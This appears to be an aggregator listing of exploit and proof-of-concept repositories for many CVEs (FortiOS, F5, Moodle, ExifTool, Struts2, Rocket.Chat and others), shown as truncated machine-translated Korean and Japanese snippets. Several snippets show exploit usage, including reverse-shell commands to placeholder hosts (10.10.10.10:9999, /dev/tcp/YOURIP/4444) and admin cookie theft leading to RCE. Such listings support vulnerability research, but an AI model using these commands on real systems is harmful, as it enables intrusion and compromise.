CVE-2022-42475

CVE-2022-42475 배경 이것은 블로그 게시물https://bishopfox.com/blog/exploit-cve-2022-42475에 대한 익스플로잇입니다. 수정 버전 이 익스플로잇 버전은 해커가 ROP 가젯 등에 필요한 메모리 주소를 직접 제공하지 않으면 작동하지 않습니다. 이러한 데이터를 결정하는 작업은 Bishop Fox의 기밀 및 독점 정보이며, 이 익스플로잇과 함께 게시할 수 없습니다게시하지 않을 것입니다. 이해해 주시기 바랍니다! 작동 모드 검증 전용, 익스플로잇 없음. 취약한지 확인. 페이로드 없음, 셸코...

f5_rce_poc

使い方 root@kitploit: python3 f5rce.py -u 対象URLを指定 -f バッチ検出ファイル -c コマンドを実行 -s/--ssrf SSRFを介してtokenを取得しコマンドを実行 実行結果は以下の通りです： root@kitploit: python3 f5rce.py -u 127.0.0.1 --ssrf コマンド実行後、exitと入力して終了 PS：出力が美しくないので、修正します😁 今後の予定 更新： 一部のコマンド実行異常ケースを修正 SSRFによるToken取得・コマンド実行機能を追加 1. 正規表現でマッチング、出力を美化 2...

PoC-CVE-2025-26529

CVE-2025-26529 PoC – Moodle XSS to RCE 익스플로잇 이것은 Moodle에서 SSRF to XSS → XSS to RCE 취약점 체인을 시연하는 개념 증명PoC입니다. 개요 전체 익스플로잇 체인을 시연하는 데 필요한 모든 파일을 업로드했습니다: 1. SSRF to XSS 2. 관리자 쿠키 탈취 3. 관리자 쿠키를 사용하여 Moodle에서 원격 코드 실행RCE 달성 Moodle 버전 4.4.5 Build: 20241209에서 테스트했습니다. 중요한 지침 진행하기 전에 파일을 주의 깊게 검토하십시오. I...

USN-8787-1: libxml2 vulnerabilities

It was discovered that libxml2 incorrectly handled certain XML elements under certain circumstances. An attacker could possibly use this issue to cause libxml2 to crash or execute arbitrary code. CVE-2026-86140 It was discovered that libxml2 incorrectly handled certain XML documents when used wit...

USN-8787-1 libxml2 vulnerabilities

It was discovered that libxml2 incorrectly handled certain XML elements under certain circumstances. An attacker could possibly use this issue to cause libxml2 to crash or execute arbitrary code. CVE-2026-86140 It was discovered that libxml2 incorrectly handled certain XML documents when used wit...

Text4shell--Automated-exploit---CVE-2022-42889

Mavenのインストール - maven-linux //自動ハッキング用: 1../install.sh root@kitploit: 2../exploit.sh 3.アプリケーションを削除するには ./stopapp.sh を使用します //手動ハッキング用: 1. ファットJARを作成するためのMavenのインストール root@kitploit: mvn clean install 2. Dockerビルド root@kitploit: docker build --tag=text4shell . 3. Docker実行 root@kitploit: docker run -...

CVE-2021-26295

CVE-2021-26295-POC DNSlogを利用してCVE-2021-26295の脆弱性検証を行います。 使用方法 poc: ターゲットを target.txt に入れた後、python poc.py を実行するだけで検証できます。（Jdk環境は12である必要があります。そうでないとysoserialが正常にpayloadを生成できません） exp: python exp.py https://baidu.com を実行すると、コマンド実行画面に入ります（出力なし） 学習・交流のみを目的としており、他の用途には使用しないでください。...

CVE-2020-1493

CVE-2020-1493 この脆弱性は、Windows 10 1909 x64 にインストールされた Outlook 2019 16.0.12624.20424 で発生します。また、この脆弱性は ゼロクリック 脆弱性です。 要約 このバグは winafl ファザーを使用して発見しました。このバグは、ms-tnef ファイル（eml ファイルの添付ファイル）の解析中に発生します。脆弱なメソッドは、vftable ポインタに範囲外のデータを読み取って使用します。そのため、攻撃者がこの脆弱性の悪用に成功すると、リモートコマンド実行がトリガーされます。 詳細 root@kitploit:...

CVE-2023-51214

推奨説明 PHP v.1を使用したWebアプリケーションでのアクティビティログ実装におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者が細工されたペイロードをURLに送信することで任意のコードを実行できる可能性があります。 脆弱性タイプ クロスサイトスクリプティング XSS 製品ベンダー sourcecodester.com 影響を受ける製品 PHPを使用したWebアプリでのアクティビティログ実装 - v1 影響を受けるコンポーネント URL 攻撃タイプ リモート 影響：コード実行 true 攻撃ベクター 詳細不要 参照...

CVE-2020-17530

무엇인가요 이는 S2-061에 대한 간단한 테스트 프로젝트로, 이 취약점의 세부 사항을 분석하는 데 사용할 수 있습니다. 사용 방법 1단계: IDEA를 사용하여 이 프로젝트를 가져옵니다 2단계: tomcat 서버를 설정합니다 3단계: 브라우저를 사용하여 "http://192.168.174.149:8080/SimpleStrutswarexploded/S2061.action?id=%25%7b8%2a8%7d"에 접속합니다 익스플로잇 방법 SSRF 테스트 root@kitploit: POST...

CVE-2026-33017-Langflow-RCE

root@kitploit: ██╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██║ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔═══██╗██╔════╝ ██║ ██║██║ ██║███████╗███████╗██║ ██║██║ ██║██║ ██║███████╗ ╚██╗ ██╔╝██║ ██║╚════██║╚════██║██║ ██║██║ ██║██║ ██║╚════██║ ╚████╔╝...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Luaサンドボックスバイパス コマンド実行 Usage python3 CVE-2022-0543.py...

ThemeBleedPy

gabek が C による初期 PoC を作成し、実際にこの CVE を発見してくれたことに多大な感謝を捧げます。これは彼のコードを Python でリメイクしたもので、彼のステージファイルを再利用しています。 初期 PoC を見るには、彼のページはこちら: https://github.com/gabe-k/themebleed ThemeBleedPy CVE-2023-38146 "ThemeBleed" に対する Python を使用した概念実証 PoC です。 要件: このプログラムは Impacket の SMB サーバー を使用し、smb2Create...

CVE-2024-4879

CVE-2024-4879 Exploit & PoC - Nuclei テンプレート CVE-2024-4879 - ServiceNow における Jelly テンプレートインジェクションの脆弱性 ServiceNow は、Vancouver および Washington DC Now Platform リリースで特定された入力検証の脆弱性に対処しました。この脆弱性により、認証されていないユーザーが Now Platform のコンテキスト内でリモートからコードを実行できる可能性があります。ServiceNow...

CVE-2022-24112

CVE-2022-24112: Apache APISIX リモートコード実行の脆弱性 root@kitploit: go run apisix-exploit.go -t -c 参照: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2020-17530

S2-061 これらのスクリプトは、vulhub の struts2-059/061 脆弱性テスト環境に基づいて作成されています。汎用的なものではないため、先輩方のご指導をお願いいたします。 struts2-061-poc.py（簡易システムコマンド実行可能） 使用方法：python struts2-061-poc.py http://ip:port command 例：python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py（リバースシェル取得可能） 使用方法： 1. まずマシン A...

CVE-2021-32099

CVE-2021-32099 PoC このリポジトリは、Pandora FMS 742 に影響を与える CVE-2021-32099 の脆弱性に対する Proof of Concept PoC エクスプロイトを提供します。このエクスプロイトは、認証されていない攻撃者がSQLインジェクションの脆弱性を悪用して、非特権セッションを管理者レベルのアカウントに昇格させる方法を示しています。管理者アクセスを取得すると、攻撃者はPandora FMSのファイルマネージャーを介して任意のPHPファイルをアップロードでき、リモートコード実行につながり、Webサーバーユーザーとしてサーバーを侵害します。 ...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（即興） 概要 Rocket.Chat 3.12.1 の認証前のNoSQLインジェクションの脆弱性を悪用して、管理者のTOTPシークレットとパスワードリセットトークンを漏洩させ、管理者アカウントを乗っ取り、悪意のあるWebhook統合を介してRCEを達成します。 影響を受けるバージョン Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 引数...

CVE-2021-2109

説明 Oracle Fusion Middleware の Oracle WebLogic Server 製品（コンポーネント: Console）における脆弱性。影響を受けるサポート対象バージョンは、10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 です。容易に悪用可能な脆弱性により、ネットワークアクセス権を持つ高権限の攻撃者が HTTP を介して Oracle WebLogic Server を侵害する可能性があります。この脆弱性の攻撃が成功すると、Oracle WebLogic Server...